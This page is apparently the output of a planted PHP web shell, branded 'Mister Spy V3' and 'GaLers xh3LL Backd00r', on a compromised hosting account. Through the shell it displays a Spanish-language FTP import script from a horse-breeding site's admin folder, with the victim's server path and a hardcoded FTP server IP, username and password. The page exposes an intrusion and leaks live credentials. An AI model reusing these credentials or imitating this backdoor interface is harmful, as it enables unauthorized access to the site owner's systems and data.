Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_adminexpo_/importador/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_adminexpo_/importador/ftp.php

<?php

/* funciones de trabajo con ftp */
function FTPConnect (&$IdConnection)
{
	global $FtpServer;
	global $FtpUser;
	global $FtpPass;
	global $GestorLogs;
	
	if ($IdConnection = ftp_connect($FtpServer))
	{
		$msg = date('d-m-Y | h:i:s');
		$msg.= " hs \n\r\t CONEXION: OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = date('d-m-Y | h:i:s');
		$msg.= " hs \n\r\t ERROR DE CONEXION. NO SE PUDO CONECTAR AL FTP. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	if (ftp_login($IdConnection, $FtpUser, $FtpPass))
	{
		$msg = "\t LOG IN: OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = "\t ERROR DE LOGIN. NO SE PUDO CONECTAR AL FTP. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return(0);
}


function FTPClose($IdConnection)
{
	global $GestorLogs;
	
	ftp_close($IdConnection);
	
	$msg = "\t CONEXION CERRADA SATISFACTORIAMENTE. \n\n\r";
	FileWrite($GestorLogs, $msg);
	
	return(0);
}


function FTPChangeDir($IdConnection, $Dir)
{
	global $GestorLogs;
	
	if (ftp_chdir($IdConnection, $Dir))
	{
		$msg = "\t DIR CHANGE: " . $Dir . " - OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = "\t ERROR DIR CHANGE: " . $Dir . " . \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return(0);
}


function FTPListFileOrder($IdConnection)
{
	global $GestorLogs;
	$arr = array();
	
	if ($arr = ftp_nlist($IdConnection, "-t ."))
	{
		$msg = "\t ARCHIVOS LISTADOS CORRECTAMENTE. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
	
		$msg = "\t ERROR ARCHIVOS LISTADOS. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return $arr;
}


function FTPListFile($IdConnection)
{
	global $GestorLogs;
	$arr = array();
	
	if ($arr = ftp_nlist($IdConnection, "."))
	{
		$msg = "\t ARCHIVOS LISTADOS CORRECTAMENTE. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
	
		$msg = "\t ERROR ARCHIVOS LISTADOS. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return $arr;
}

function FTPDownload($IdConnection, $Gestor, $RemotFile)
{
	global $GestorLogs;
	
	if (ftp_fget($IdConnection, $Gestor, $RemotFile, FTP_ASCII)) 
	{
		$msg = "\t DOWNLOAD $RemotFile: EL ARCHIVO SE DESCARGO EXITOSAMENTE. \n\r";
		FileWrite($GestorLogs, $msg);
	} 
	else 
	{
		$msg = "\t DOWNLOAD $RemotFile: EL ARCHIVO NO SE DESCARGO EXITOSAMENTE. \n\r";
		FileWrite($GestorLogs, $msg);
	}
}

/* funciones de trabajo con archivos */
function FileCreate(&$Gestor, $FileName, $Mode)
{
	$Gestor = fopen($FileName, $Mode);
	
	return(0);
}

function FileClose($Gestor)
{
	fclose($Gestor);
	
	return(0);
}

function FileWrite($Gestor, $Content)
{
	fwrite($Gestor, $Content);
	print_r($Content . '<br>');
	return(0);
}

$FtpServer = "190.210.180.194";
$FtpUser = "Criolla";
$FtpPass = "Torre$2016";

$IdConnection 		= '';
$GestorExis		 	= '';
$GestorClientes 	= '';
$GestorVendedores 	= '';
$GestorLogs 		= '';

FileCreate($GestorLogs, 'LogAccesos.txt', 'a');
FileCreate($GestorExis, 'accc/EXIS_2.txt', 'w');

FTPConnect($IdConnection);

FTPChangeDir($IdConnection, "criolla");
if ($arrDir = FTPListFileOrder($IdConnection))
{
	$last = $arrDir[0];
	FTPChangeDir($IdConnection, $last);
	if ($arrFiles = FTPListFile($IdConnection))
	{
		foreach ($arrFiles as $file)
		{
			if (strpos($file, 'HEMBRA') !== false)
				FTPDownload($IdConnection, $GestorExis, $file);
		}
	}
}

FTPClose($IdConnection);

FileClose($GestorLogs);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat